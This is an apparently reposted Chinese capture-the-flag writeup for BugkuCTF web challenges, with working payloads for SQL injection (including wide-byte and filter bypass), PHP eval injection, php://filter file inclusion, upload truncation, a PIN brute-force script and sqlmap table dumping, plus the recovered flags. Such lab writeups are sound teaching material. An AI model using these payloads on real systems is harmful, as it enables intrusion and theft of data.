您的位置:首页 > 其它

[置顶] BugkuCTF——web篇writeup(持续更新)

2018-03-23 20:57 761 查看

BugkuCTF——web篇writeup

平台网址:http://ctf.bugku.com/平台首页:

web2

网址链接:http://120.24.86.145:8002/web2/页面:一看只有好多滑稽,分数也不太高,应该不是很难,F12打开开发者工具看一下得到ctf:flag KEY{Web-2-bugKssNNikls9100}

文件上传测试

链接:http://103.238.227.13:10085/一看是文件上传测试,是文件上传的问题,看一下要求:1、请上传PHP文件2、文件上传大小不允许超过1M先上传php文件试一下发现提交后报错,说是非图片文件,那就再上传  接下来就觉得前端验证是图片后缀的验证,上传到服务器时分析的是php文件,不说了  用%00截断或者00截断试试打开burp抓包工具——设置代理——抓包上传的是一个222.png图片,这时候最好别直接上传php的文件用%00 可能存在对文件的内容解析  导致上传失败最后得到flag:Flag:42e97d465f962c53df9549377b513c7e

计算器

链接:http://120.24.86.145:8002/yanzhengma/我们计算一下提交发现只能输入一个数字,肯定是对提交的内容做了长度限制,打开开发者工具把长度改一下因为计算结果为18  长度改为2得到flag:flag{CTF-bugku-0032}

web基础$_GET

链接:http://120.24.86.145:8002/get/发现是很简单的代码  提交的数据(get方式)只要what=flag就行flag:flag{bugku_get_su8kej2en}

web基础$_POST

链接:http://120.24.86.145:8002/post/这里用一下火狐的插件hackbug得到flag:flag{bugku_get_ssseint67se}

矛盾

链接:http://120.24.86.145:8002/get/index1.php读一下代码  判断输入的num  如果不是数字的话且为1的话输出flag  应了题目的话  自相矛盾,  但是我们有很多方法让num为1但是不是数字  比如num= 1e0.123得到flag:flag{bugku-789-ps-ssdf}

web3

网址:http://120.24.86.145:8002/web3/打开网页之后发现一直弹出这个框  是不是特别烦  直接个禁止了然后就是一片空白  一片茫然啊  f12看一下发现一串很特别的东西  百度一下这是什么码二话不说  直接粘贴到浏览器上一回车发现flag就出来了直接就出来了flag:KEY{J2sa42ahJK-HS11III}

sql注入

链接:http://103.238.227.13:10083/很明显  查询key表,id=1的string字段构造payload:http://103.238.227.13:10083/index.php?id=-1%20union%20select%201,string%20from%20%27key%27%20#发现没有出来  怎么什么都没有了  继续重头开始  看一下是什么注入发现id=1和id=1’都没错  想起了宽字节注入  试一下果然  那么就好了构造payload:http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from 'key'#报错  是引号的问题  那试一下另一种引号 http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from `key`#这种引号在tab键的上面发现还报错  想起了是#的问题  把#改成%23得到flag:54f3320dc261f313ba712eb3f13a1f6d

sql注入1

链接:http://103.238.227.13:10087/目录(?)[+]访问参数为:?id=x查找表为key的数据表,id=1值hash字段值14dd1[html] view plain copy以下是其中一段代码  [html] view plain copy//过滤sql  $array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');  foreach ($array as $value)  {      if (substr_count($id, $value) > 0)      {          exit('包含敏感关键字!'.$value);      }  }    //xss过滤  $id = strip_tags($id);    $query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";                首先我们看到这道CTF题的时候  通过代码审计,我们可以知道它过滤了很多关键字,这样一来我们不知道怎么下手,但是它又给出了一段代码,这段代码如果你不注意的话就可能认为是多余的,但是它这段代码就是提示我们通过百度查一下strip_tags()这个函数的作用

定义和用法

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。注释:该函数是二进制安全的。

语法 strip_tags(string,allow)

剥去字符串中的 HTML 标签,但允许使用 <b> 标签:<?phpecho strip_tags("Hello <b><i>world!</i></b>","<b>");?>知道原理后,那么我们就可以直接构造payload了构造如下http://103.238.227.13:10087/index.php?id=-1 un<br>ion sel<br>ect hash,1 fr<br>om `key`#最后结果如下:

SQL注入测试

访问参数为:?id=x查找表为key的数据表,id=1值hash字段值以下为其中一段代码://过滤sql$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');foreach ($array as $value){if (substr_count($id, $value) > 0){exit('包含敏感关键字!'.$value);}}//xss过滤$id = strip_tags($id);$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";当前结果:
idc3d3c17b4ca7f791f85e#$1cc72af274af4adef
title1
得到 flag:
c3d3c17b4ca7f791f85e#$1cc72af274af4adef

本地包含

链接:http://120.24.86.145:8003/分析出hello这个post/get获取的参数值很重要($_REQUEST对get,post都能接受)看一下  直接构造payload就行了  这里用了一个知识 http://120.24.86.145:8003/index.php?hello= 1);print_r(file("./flag.php%22")就相当于:
eval( "1);print_r(file("./flag.php%22")"); 
flag:flag{bug-ctf-gg-99}

变量1

链接:http://120.24.86.145:8004/index1.php
一个变量,当变量符合要求时输出flag  首先得知args这个变量是七个字符的  想起了全局变量  GLOBALS
得到flag:flag{92853051ab894a64f7865cf3c2128b34}

web5

链接:http://120.24.86.145:8002/web5/
随便输个东西提交
发现什么都没有  抓包试试
发现出来一种码  直接用浏览器自带的工具  开发者工具里的console解码
然后回车
flag:ctf{whatfk}

头等舱

链接:http://120.24.86.145:9009/hd.php打开之后  发现现实什么也没有  打开源码看一下发现有隐藏的元素  所以直接抓包得到flag:flag{Bugku_k8_23s_istra}

web4

链接:http://120.24.86.145:8002/web4/让查看源代码  我们旧查看源代码  在源代码里找到一段脚本  用js跑一下解析后得到:function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;说如果我们提交的内容是67d709b2b54aa2aa648cf6e87a7114f1就可以得到flag试一下KEY{J22JK-HS11}

flag在index里

链接:http://120.24.86.145:8005/post/点击下发现什么都没有 不过题目都说了  flag在index里  所以可以直接构造payloadhttp://120.24.86.145:8005/post/index.php?file=php://filter/convert.base64-encode/resource=index.php得到一串码    PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==base64解码<html>    <title>Bugku-ctf</title>    <?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); //flag:flag{edulcni_elif_lacol_si_siht}?></html><þfl>得到flag{edulcni_elif_lacol_si_siht}

输入密码查看flag

网址:http://120.24.86.145:8002/baopo/一看是让输入5位数字密码  而且url就告诉你了让我们用爆破  那就爆破白  密码时从00000到99999一共十万个用phthon吧  慢慢爆破  虽然有点慢#coding:utf-8import requestsurl='http://120.24.86.145:8002/baopo/?yes'value=[]for i in range(0,99999):if(len(str(i))<5):value.append("0"*(5-len(str(i)))+str(i))else :value.append(str(i))data = {'pwd':00000}content = requests.post(url,data=data)content.encoding='utf-8'patch=content.textfor i in value:data = {'pwd':i}print ('尝试密码:',i)content = requests.post(url,data=data)content.encoding='utf-8'html=content.textif html != patch:print (html)最后爆出密码为13579  输入即可得到flagflag:flag{bugku-baopo-hah}

点击一百万次

链接:打开之后是下面这个样子什么也看不出来  F12分析下源码:有一个post提交的数据  那就构造一下呗得到flag:flag{Not_C00kI3Cl1ck3r}

成绩单

链接:http://120.24.86.145:8002/chengjidan/这个一看应该是SQL注入  先提交一个数据看看发现有一个post数据  那就利用这个数据注入白先抓包然后点击action——>从copy to file我保存在了   D盘3333.txt打开sqlmap得到当前使用数据库skctf_flag爆表sqlmap -r "D:\3333.txt" -p id --table -D "skctf_flag"爆f14g的列爆字段得到flag:BUGKU{Sql_INJECT0N_4813drd8hz4}

phpcmsV9

链接:http://120.24.86.145:8001/看到这句话  想都没有想  直接扫描了下目录里的txt文件根目录下存在flag.txt直接打开:flag{admin_a23-ae2132_key}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: